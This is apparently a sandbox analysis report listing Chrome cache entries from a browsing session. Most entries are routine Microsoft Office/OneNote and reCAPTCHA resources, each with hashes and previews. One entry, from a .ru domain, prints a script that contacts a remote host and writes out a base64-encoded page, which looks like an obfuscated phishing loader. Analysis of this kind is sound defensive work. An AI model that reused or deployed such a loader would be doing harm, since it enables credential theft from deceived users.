SHA1:	0D68BBCB58D190F6E2803043A1823A3826325F33
SHA-256:	47D6DBDB766BD7EA675F68A5CE5A22654554001EFC7007A0B8C484069D9E2638
SHA-512:	3BD8C4FDCC43199DB8D4EA1E668495837AF3931EAD7EA4AC16D775D3FBDF3BC35833CF2DF86BE8492EDC82090A1ED2B79A4DC3233BC3FD064F7C46424B403745
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_resources/1033/moeerrorux.css
Preview:	.moe-infobar-body {.. background-color:#FCF7B6;.. border:1px solid #D9D98B;.. position:relative;.. max-height:110px;.. overflow:hidden;.. white-space: normal;..}.....moe-infobar-body:hover {.. background-color:#FEF294;..}.....moe-hovered {.. background-color:#FEF294;..}.....moe-infobar-infotable {.. width:100%;.. height:100%;.. max-height:110px;..}.....moe-infobar-top-left-cell {.. width:30px;.. min-width:30px;.. max-width:30px;.. vertical-align:top;.. padding:1px; ..}.....moe-infobar-message-cell {.. padding:7px 7px 3px 0px;.. vertical-align:top;..}.....moe-infobar-top-right-cell {.. width:20px;.. min-width:20px;.. max-width:20px;.. vertical-align:top;..}.....moe-infobar-button-cell {.. padding:0px 10px 6px 0px;..}.....moe-status-warning-icon{.. position:absolute;.. clip:rect(0px 42px 41px 0px);.. top:0px;.. left:0px;.. .. .. .. .. .. ..}.....moe-status-warning-icon_ie{.. position:ab

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (6449), with CRLF line terminators
Category:	downloaded
Size (bytes):	6870
Entropy (8bit):	5.878578969095382
Encrypted:	false
SSDEEP:	96:Xz4N+i1ZRsevGczmftKZy5Z12wE4UewSgVvftMo6dKbj0g9XntCgjXclbl5u8Lz+:j4N+niu5Zg3TVuo6Ej0g9XtmlzMOFs
MD5:	2338EBA0351B6F9F509AA2D1E510B082
SHA1:	5FE23A080ADE7447BC156E4C9A050685EAF7AA30
SHA-256:	F7EAD4BEE42345701C638CC4FE8690213968347F0B251B331907853892470AE0
SHA-512:	6F030C95092ECC2FA715A4376813593ECBE6A2312B0EA35FA1E54444CBE59B4D55AF34544F359A65DC7F34ECBD629943EC1488E86E072E39EA99FE3E5F996D79
Malicious:	false
Reputation:	low
URL:	https://4odq.cxnev1.ru/1L9z9v39/
Preview:	<style>body {.. margin: 0;..}..</style>..<script>..fetch('https://FNFI.kewtdz.ru/SUVzboZNwimQDAeQjTbBsnxxfTAjvAelcAHJQEVAPOHTVABUGSGQZJDIRYQLFYZOZDQHIECNULIQVSPL', {..method: "GET",..}).then(response => {..return response.text()..}).then(text => {..if(text == 0){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vcmVjYXB0Y2hhL2FwaS5qcz9yZW5kZXI9ZXhwbGljaXQiPjwvc2NyaXB0Pg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPg0KICAgIDx0aXRsZT5Gb2d0aU1EaVNiPC90aXRsZT4NCiAgICA8c3R5bGU+DQojbXpwRnRzbHB6SSAqIHsNCiAgICBwYWRkaW5nOiAwOw0KICAgIG1hcmdpbjogMDsNCiAgICBib3gtc2l6aW5nOiBib3JkZXItYm94Ow0KICAgIGZvbnQtZmFtaWx5OiAiU2Vnb2UgVUkiLCJIZWx2ZXRpY2EgTmV1ZSIsIkx1Y2lkYSBHcmF

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	3831
Entropy (8bit):	5.120639874211328
Encrypted:	false
SSDEEP:	96:itGurLtJwqfjH6CIuRxs0gPhtxq+jLqXnvZQQ2:itGu3t+yb6CBUHN
MD5:	72D9A825554620C51BF0018A457E7F2E
SHA1:	23400E26C69A1F8A47236FFAD4BC80FC80BA773E
SHA-256:	365009220D893F07B356C7F253CECD5A9F7E06D6207A3DD7A148FC73812B4FE6
SHA-512:	9212035EFC74AD61A74FA806229E4A97BB9FB50698B0B15BD7296AD53B6A2C9A43D0A3E2082286F4AC60167E129E07CB511638A103C510DB3B5ADA6A383165A6
Malicious:	false
Reputation:	low
URL:	https://cdn.onenote.net/officeaddins/161762240456_Scripts/ExternalResources/js-cookie.js
Preview:	/!.. JavaScript Cookie v2.1.3.. * https://github.com/js-cookie/js-cookie.. .. Copyright 2006, 2015 Klaus Hartl & Fagner Brack.. * Released under the MIT license.. */..;(function (factory) {...var registeredInModuleLoader = false;...if (typeof define === 'function' && define.amd) {....define(factory);....registeredInModuleLoader = true;...}...if (typeof exports === 'object') {....module.exports = factory();....registeredInModuleLoader = true;...}...if (!registeredInModuleLoader) {....var OldCookies = window.Cookies;....var api = window.Cookies = factory();....api.noConflict = function () {.....window.Cookies = OldCookies;.....return api;....};...}..}(function () {...function extend () {....var i = 0;....var result = {};....for (; i < arguments.length; i++) {.....var attributes = arguments[ i ];.....for (var key in attributes) {......result[key] = attributes[key];.....}....}....return result;...}.....function init (converter) {....function api (key, value, attributes) {.....var res

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.6534652184263736
Encrypted:	false
SSDEEP:	48:wIJct3xIAxG/7nvWDtZcdYLtX7B6QXL3aqG8Q:wIJct+A47v+rcqlBPG9B
MD5:	F3418A443E7D841097C714D69EC4BCB8
SHA1:	49263695F6B0CDD72F45CF1B775E660FDC36C606
SHA-256:	6DA5620880159634213E197FAFCA1DDE0272153BE3E4590818533FAB8D040770
SHA-512:	82D017C4B7EC8E0C46E8B75DA0CA6A52FD8BCE7FCF4E556CBDF16B49FC81BE9953FE7E25A05F63ECD41C7272E8BB0A9FD9AEDF0AC06CB6032330B096B3702563
Malicious:	false
Reputation:	low
Preview:	............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................v.].X.:.X.:.r.Y........................................q.X.S.4.S.4.S.4.S.4.S.4.S.4...X....................0........q.W.S.4.X.:.................J...A...g.........................K.H.V.8..........................F..B.....................,.......................................B..............................................B..B..B..B..B...u..........................................B..B..B..B..B...{.................5.......k...........................................................7R..8F.................................................2........Vb..5C..;I..................R^.....................0................Xc..5C..5C..5C..5C..5C..5C..lv..........................................]i..<J..:G..Zf....................................................

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	109
Entropy (8bit):	4.66560738606782
Encrypted:	false
SSDEEP:	3:YmEoEMCL2RH2hAcBQMh0wVWu+xJs/FEH2MmRJBUn:YmEoYL2HuAJW0m+sNb2n
MD5:	B22CAC36842DCB642F5BFF86C0FF2FB9
SHA1:	7F0557D5258453F55C1DB5DD40AB7F1C31932655
SHA-256:	E25ABD11267B28557444D53A9A3BF52A796DF20A14205FDE0B19C6B8287976B3
SHA-512:	D991A7C2B5552EF795F01450BEB8FE91785FAB87DD53361AD4048972BADB46180966120B0EF42B647654DE6CB8E8DF6D13EFDC2C170CB498FD8DBAC63629ADAC
Malicious:	false
Reputation:	low
URL:	https://messaging.engagement.office.com/campaignmetadataaggregator?country=US&locale=en-US&app=2158&platform=Web&version=16.0.17601.41008&campaignParams=pageWidth%3D1280%26pageHeight%3D907%26screenWidth%3D1280%26screenHeight%3D1024%26colorDepth%3D24%26more%3Dtrue%26OFC_Audience%3DProduction%26Datacenter%3DPUS6%26TenantId%3D9f5ae5e0-f468-44c2-8baa-e6e7bc36c710%26SelfTriggerActivity%3D%3Bfloodgateflight23a%3Bfloodgateflight47a%26&contentType=CampaignContent%3BDynamicSettings&puid=&OFC_FLIGHTS=floodgateflight23a%3Bfloodgateflight47a%3B&ageGroup=0&sessionUserType=2
Preview:	{"CampaignContent":{"campaigns":[]},"DynamicSettings":{"TmsLoadTimeout":3000,"TeachingMessageCooldown":3600}}

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3290
Entropy (8bit):	5.8645491123712175
Encrypted:	false
SSDEEP:	96:qBjh9FRPoZ1ZPj1OQcqPERJJFro8ENa2z+wZ:+jhbRPoTB1O/qPsJxCa2z+wZ
MD5:	33C9F5DCC29BF7803DB5B31B5ECCDE7B
SHA1:	DB76B517E6DE25637E2C2EE26BAB90492B49169D
SHA-256:	C5391C3264A5EE303C943F77AA8B679F3B516E9C9CA1EC44C266F52D26C6D1C4
SHA-512:	FE1DD15FB3AE8E6C58D71DF1BE950D76765CD2324B6C79F854E4D7CE74D342C60FC571C45D54DF65A3EBC7D196FBD96EE396203C347E1DD97A72FA9E6B3669ED
Malicious:	false
Reputation:	low
Preview:	{"clientVersion":"20240424.1","files":{"owl.js":["owl.35819d8f570fa23cdb95.js","sha384-AVpq/jFf/Ld23skHFm+27trRyEhjXpqt7Gfq2zjT5bAwJ8Wsp9jMohaFOhS7JrAR"],"owl.slim.js":["owl.slim.904b646243df598ab119.js","sha384-lTiiL8y01Dxgv/tLTbNaemBYMpun5GlOX1g5faS2GiGPGsd1+Hl/d3AExuOl1424"],"owlnest.js":["owlnest.978894dc2287b8befd04.js","sha384-wP383fDdNIIzuURisGdTNTt/lYjGdnVA46hd0Lbcfjunlw6WsUV0clOZF9BbkAyP"],"authwebworker.js":["authwebworker.2f4b7efdc6e2f6d4e6d3.js","sha384-v9+nDRwhHbnovycDcmhSpKM8z90ZsTF693enOAycUE6GrvlYhupFCdtkb7Uqi3vh"],"sharedauthclient.js":["sharedauthclient.cc43d953fda743e12ad4.js","sha384-1Phvz0l2Jb6VDddEsp6B0daKNSAlficIN2xdPZSxd9WgKwEvM76WdvxY4HBmUvVz"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.2bf68dc7d2782fae45a1.js","sha384-+PP8dmzq6Coknxe0FDfT9CMqnPqRqg3wFK3CH/cMljeI5gYPsP3TjSl8XZfDBdJT"],"sharedauthclientmsal.js":["sharedauthclientmsal.8848e66fec3f0fe2b9bd.js","sha384-f496wIDTKysXLbQhhn/fywK0oCK1tUyF25ra/f8IOV7+15bPmxzracOq6bT1J+tC"],"sharedaut

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64762), with CRLF line terminators
Category:	downloaded
Size (bytes):	790673
Entropy (8bit):	5.249803007697341
Encrypted:	false
SSDEEP:	6144:/19A7TezQ8NPZkKhCdbzgEmyOZJF+/FQDR7g6R5obeh:V1ZkKh3DFlf
MD5:	20186C81BA0040A4F3E73E8FDCBAB617
SHA1:	94F6501BE2B6890F8610C5665BA179C7D08D2A6C
SHA-256:	4BDAD68BD03D33EC04F2A39CCBB29529D0D0C5D5B4498EE242E2EE25252585B0
SHA-512:	CBC9FD5E0A8DCF43E591F514FF9521127480FDC97512A2C47A638C40A0BEC36722EE0F58414AFC0DBE3A792EC4F1882D3F84230B9C3DE956338937EB08B3816D
Malicious:	false
Reputation:	low
URL:	https://appsforoffice.microsoft.com/lib/1.1/hosted/onenote-web-16.00.js
Preview:	/...Copyright (c) Microsoft Corporation. All rights reserved.../..../...Your use of this file is governed by the license terms for the Microsoft Office JavaScript (Office.js) API library: https://github.com/OfficeDev/office-js/blob/release/LICENSE.md../..../.. @overview es6-promise - a tiny implementation of Promises/A+...* @copyright Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald)..* @license Licensed under MIT license..* See https://raw.githubusercontent.com/jakearchibald/es6-promise/master/LICENSE..* @version 2.3.0..*/......// Sources:..// osfweb: 16.0\16.0.17615.15000..// runtime: 16.0\16.0.17615.15000..// core: 16.0\16.0.17615.15000..// host: 16.0\16.0.17615.15000........var OfficeExt,__extends=this&&this.__extends\|\|function(){var e=function(t,n){return(e=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3454
Entropy (8bit):	4.354934745322052
Encrypted:	false
SSDEEP:	96:+H/fGFSxPHM1Rh7lE2D5UBTmhI4X3owG39VoP:+H/+FkH+PV1STMGVI
MD5:	43018F52752032AB22BBA778B773E61D
SHA1:	80434B7801200DE56F0AF4D9368B8AFFDBF51353
SHA-256:	6E7667128BEC8A92B52DC289180F0F8B721887C814B48242BB57C45C6809C9D9
SHA-512:	4087C431099C4F6EB4F4D72AF909D1332AFE7A8A5903130C71B7C095DBBA5EAA503050622845AF78C45DC19CBB94164DFE22E2F61D32BF6FC7C852AACD10D325
Malicious:	false
Reputation:	low
URL:	https://usc-onenote.officeapps.live.com/o/AppSettingsHandler.ashx?app=OneNote&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&build=20240424.1
Preview:	{"timestamp":1714118380941,"BootstrapperUlsHeartBeatIsEnabled":false,"EnableCommonHostDiagnosticsParams":true,"ShouldLogJsApiKpisForWord":true,"EnableFramePageErrorReportingForWord":false,"EnableWordSessionRefreshTelemetry":false,"BootstrapperSettingsFetchPeriod":60000,"BootstrapperUlsHeartbeatIntervalMs":5000,"BootstrapperMaxUlsHeartbeatTime":600000,"BootstrapperNoCompleteWarning1Time":120000,"BootstrapperNoCompleteWarning2Time":180000,"BootstrapperUlsUploadCadenceMs":60000,"RequestedCallThrottlingDefaultToViewMinimumValue":"Major","RemoteUlsETag":"BB46AA47C239D54223A049EA42FF1E429533F0DD","RemoteUlsSuppressions":"378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	187981
Entropy (8bit):	5.494761061758119
Encrypted:	false
SSDEEP:	3072:IT1moMLTGA/7xA0ttt8a2mkbSayvvILb4NpQh8LOvSRvjTNfXGq+uodwtGfRB0XP:mRMGAjxA0ttia2mkbXvSRvjTNfXGxuom
MD5:	984D948D2F869F3C0D488A60F8F36589
SHA1:	4746883BFD9AC913A0FAFF7446D42B20AA6F74EC
SHA-256:	A0A65ED2EAF4C01D154EBB96403B6CFEA5474D9EA7233CA048E97CFE078135A9
SHA-512:	E6E1A2EE3D43507C7CC5AA28C57F984D31F821ABCAA9B0E137EEE6946AD8F5923DEE744C3BAAC15AE15CD7EE1C429550828DE7E605BE9F0321C7E9ECC9ED79DE
Malicious:	false
Reputation:	low
URL:	https://wise.public.cdn.office.net/wise/owl/owl.slim.904b646243df598ab119.js
Preview:	var Microsoft;!function(){"use strict";var n,t,e,o,i={9323:function(n,t,e){e.d(t,{X:function(){return u}});var o=e(4401),i=e(857),r=e(765),u=function(n){function t(t){var e=n.call(this)\|\|this;return e.H=t,e}return o.ZT(t,n),Object.defineProperty(t.prototype,"value",{get:function(){return this.getValue()},enumerable:!0,configurable:!0}),t.prototype.A=function(t){var e=n.prototype.A.call(this,t);return e&&!e.closed&&t.next(this.H),e},t.prototype.getValue=function(){if(this.hasError)throw this.thrownError;if(this.closed)throw new r.N;return this.H},t.prototype.next=function(t){n.prototype.next.call(this,this.H=t)},t}(i.xQ)},4813:function(n,t,e){e.d(t,{y:function(){return l}});var o=e(7191),i=e(3066),r=e(2055),u=e(3140);function s(n){return n}var a=e(4505),l=function(){function n(n){this.F=!1,n&&(this.A=n)}return n.prototype.lift=function(t){var e=new n;return e.source=this,e.operator=t,e},n.prototype.subscribe=function(n,t,e){var u=this.operator,s=function(n,t,e){if(n){if(n instanceof o.L

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (35371)
Category:	downloaded
Size (bytes):	35429
Entropy (8bit):	5.296457486761157
Encrypted:	false
SSDEEP:	768:TVsEfzcHhW2kU+O9NEuTy5F9Iz07Y0Qtev+a0HPgg:TDnL0r
MD5:	BE73523C970F0BFA1C8F0A8C51F80BFC
SHA1:	B3BC3FD464E0A5766F27F84CA8D0C30993A26275
SHA-256:	494AE42932343D70F747F5937271E4BC7B020D53A1A2973876B15AF26DB7B1DC
SHA-512:	2069733C8CF8963223B4AA7945F9C21E6025113D8F7972605D92C4D67F0B3C909FE78DC75E0207E4DFBC9022E404B8363BF7C495C44FA4487F98B87FB3105E22
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h494AE42932343D70_App_Scripts/healthSmallOffline.worker.min.js
Preview:	!function(e){var t={};function i(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,i),o.l=!0,o.exports}i.m=e,i.c=t,i.d=function(e,t,r){i.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:r})},i.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},i.t=function(e,t){if(1&t&&(e=i(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(i.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)i.d(r,o,function(t){return e[t]}.bind(null,o));return r},i.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(t,"a",t),t},i.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},i.p="",i(i.s=0)}([function(e,t,i){"use strict";i.r(t);var r=function(){return(r=Object.assign\|\|function(e)

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	78395
Entropy (8bit):	5.061421993190143
Encrypted:	false
SSDEEP:	768:+pCmHr0AOKTnbhCxm6MlR0zBSCuEn047nNXcb7GLLWZWxWG6sS6bxiw:+pCydxgxmpX8NXcb7GLLCmWsSExn
MD5:	5A76B4E1A468227B7DD27F95523F0349
SHA1:	8C3756CA2DA7CD1434D4DCC052234460F82CD4BD
SHA-256:	C510757406F24A5D909886014CB376A88DFFDD26B7735E82F39C429A72B6C411
SHA-512:	D2A955765BC4B7FB99515566DFE15BCDB64CCA684FC14A29D984D968EDC640CD1A6F246F32E455081535D14375E44361A3210BB4F8D810935775F20A53344DAE
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/hC510757406F24A5D_App_Scripts/1033/Box4Intl.js
Preview:	Type.registerNamespace("Box4Intl");Box4Intl.Box4Strings=function(){};Box4Intl.Box4Strings.registerClass("Box4Intl.Box4Strings");Box4Intl.Box4Strings.l_OutlineResizeAlt="Resize the Outline";Box4Intl.Box4Strings.l_NavigationPaneContentsLabel="Notebook Contents";Box4Intl.Box4Strings.l_UntitledPageText="Untitled Page";Box4Intl.Box4Strings.l_UntitledSection="Untitled Section";Box4Intl.Box4Strings.l_NotebookPagesSection="General Pages";Box4Intl.Box4Strings.l_ProtoButtonText="New Page";Box4Intl.Box4Strings.l_SectionGroupAltText="Section Group";Box4Intl.Box4Strings.l_SectionGroupArrowAltText="Navigate Up";Box4Intl.Box4Strings.l_DefaultUserName="Unknown User";Box4Intl.Box4Strings.l_UserInitialsDelimeter="; ";Box4Intl.Box4Strings.l_PageLoadingText="Loading...";Box4Intl.Box4Strings.l_OreoSpinnerText="Loading Page...";Box4Intl.Box4Strings.l_ConflictPage="Conflict Page";Box4Intl.Box4Strings.l_PageAccessibilityContext="Page {0}";Box4Intl.Box4Strings.l_PageWithSearchResultsAccessibilityContext="Page

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	410039
Entropy (8bit):	5.43547167789818
Encrypted:	false
SSDEEP:	12288:83IjLTUvT2OZQU9J3KZiubprQvMlwIxukLuts053TFOHLrY4p8X:8z+NlwIxuks
MD5:	999A051926755459240DE7B5AF168601
SHA1:	D368A48EBDEC8973B80ECE764C3D014E9897F610
SHA-256:	375E795C5F9ED2F787DCFB61A7F49DDC115757590C4424A7518BF302490629F2
SHA-512:	A7713BD366BC2508376856522FBB9AE0FCDCF8DCB095F67FF581FCC01F84F9225B81568975173AC98967B6B180ADE1F6735133705F338712D9424E4DBDB4B5FA
Malicious:	false
Reputation:	low
URL:	https://wise.public.cdn.office.net/wise/owl/owl.onenote.35d48d34e42016447de5.js
Preview:	var Microsoft;!function(){var e,n,t,i,o={1827:function(e,n,t){var i,o=function(){var e=String.fromCharCode,n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",i={};function o(e,n){if(!i[e]){i[e]={};for(var t=0;t<e.length;t++)i[e][e.charAt(t)]=t}return i[e][n]}var r={compressToBase64:function(e){if(null==e)return"";var t=r.A(e,6,(function(e){return n.charAt(e)}));switch(t.length%4){default:case 0:return t;case 1:return t+"===";case 2:return t+"==";case 3:return t+"="}},decompressFromBase64:function(e){return null==e?"":""==e?null:r.H(e.length,32,(function(t){return o(n,e.charAt(t))}))},compressToUTF16:function(n){return null==n?"":r.A(n,15,(function(n){return e(n+32)}))+" "},decompressFromUTF16:function(e){return null==e?"":""==e?null:r.H(e.length,16384,(function(n){return e.charCodeAt(n)-32}))},compressToUint8Array:function(e){for(var n=r.compress(e),t=new Uint8Array(2*n.length),i=0,o=n.length;i<o;i

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (12695)
Category:	downloaded
Size (bytes):	1156172
Entropy (8bit):	5.476091319407222
Encrypted:	false
SSDEEP:	6144:gpVG3XOA+n7sE4WYX2snbBVQJzmPICFHamauzAr/NVyXga0f3nZ4QnnlOFmX/3zK:gpM3EYJnbBNJG/iQZf3dn5X/jUIqm2Xt
MD5:	574FD73194781626ACA55C81F59D43F6
SHA1:	C83C3630EB878CA247E0C6235D674277271FEC69
SHA-256:	A7C7314646AD30C6042053CC2D4DDCF0DAAD63D0F4826A68C6237EF260D48C93
SHA-512:	C4D5A73B19A65D0682726BFFA0159D39A35AE3EE4D980AD7525DEC17737CA633FA7C52056FDE95F5E067AE7D7140574AA54D18C22157E842CBA9C339914DB432
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/admincenter/admin-main/2024.4.18.3/floodgate.en.bundle.js
Preview:	!function(){var e,t,r,n,o,a={3923:function(e,t){e.exports={Form:{Cancel:function(n){return"Cancel"},CommentPlaceholder:function(n){return"Please do not include any confidential or personal information in your comment"},EmailPlaceholder:function(n){return"Email (optional)"},Submit:function(n){return"Send"},Title:function(n){return"Feedback to Microsoft"},TemplateErrorMessage:function(n){return"One or more questions are required or the input is not valid"}},Questions:{ContactMeQuestion:function(n){return"You may contact me about this feedback"}},Common:{LoadingText:function(n){return"Loading, please wait..."}},Error:{ErrorMessage:function(n){return"Survey failed to load"}}};},556:function(e,t){e.exports={CloseLabel:function(e){return"Close dialog"},EmailTextFieldPlaceholder:function(e){return"Email (optional)"},EmailTextFieldInputError:function(e){return"Email address is invalid"},CommentTextFieldPlaceholder:function(e){return"Please do not include any confidential or personal informatio

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1222), with no line terminators
Category:	downloaded
Size (bytes):	1222
Entropy (8bit):	5.818804287152988
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAv+KVCLTLv138EgFB5vtTGJTlWtRcw1MuhtsLqo40RWUnYN:VKEctKonR3evtTA87b1Muh6LrwUnG
MD5:	463D838587C8B5873CB6E4E942B770C9
SHA1:	E69DCF383A6F3F51F123CA2D86F19FC4BE09E612
SHA-256:	1448EC1B3F30A554233BD280AA99A7EAF690D1098647E7DDDEA286C757884F9C
SHA-512:	F02DE64A37B90492D714CC7D132C49BF29CB5117CA945258BAF5B36D087A3A2AED165C6FF37D2ED4E4F10D7199AFB9C2B5E2555BA1BECA1A8D3AE133F4DF4B23
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api.js
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('onload');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true;var m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='Az520Inasey3TAyqLyojQa8MnmCALSEU29yQFW8dePZ7xQTvSt73pHazLFTK5f7SyLUJSo2uKLesEtEa9aUYcgMAAACPeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-0lJkOVHDy3ItYlCbUoEzThjP3hLhLYfEFPAkVOCx

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1208
Entropy (8bit):	5.4647615085670616
Encrypted:	false
SSDEEP:	24:hM0mIAvy4WvsqFOa7JZRGNeHX+AYcvP2wk1USdYF9Yk5:lmIAq1UqFOiJZ+eHX+AdP2wyYFOk5
MD5:	D29FA9F2AB3A72F2608E8E82C8C3D1C6
SHA1:	8B21CC06752837B4B6B8FEF8D54F50EB2C7CCA8F
SHA-256:	E1B0A10649C4B92F828523EFC2EBE135EA9488179A2816888D1E84F786202DBF
SHA-512:	824A207E3F5AF4934B7B50FE5E3F8585FAECA571C3C39E510C06DC8FBDF3E64B07811CAAE06239936BDDDDFA4C90E534F03C0DA8147AF9294042DEA6B0FBCB94
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">..<html xmlns="http://www.w3.org/1999/xhtml">..<head>..<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>..<title>500 - Internal server error.</title>..<style type="text/css">.. ..body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}..fieldset{padding:0 15px 10px 15px;} ..h1{font-size:2.4em;margin:0;color:#FFF;}..h2{font-size:1.7em;margin:0;color:#CC0000;} ..h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} ..#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;..background-color:#555555;}..#content{margin:0 0 0 2%;position:relative;}...content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}..-->..</style>..</head>..<body>..<div id="header"><h1>Server Error</h1></div>..<div id="content">.. <div class="content-

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:H0hCkY:UUkY
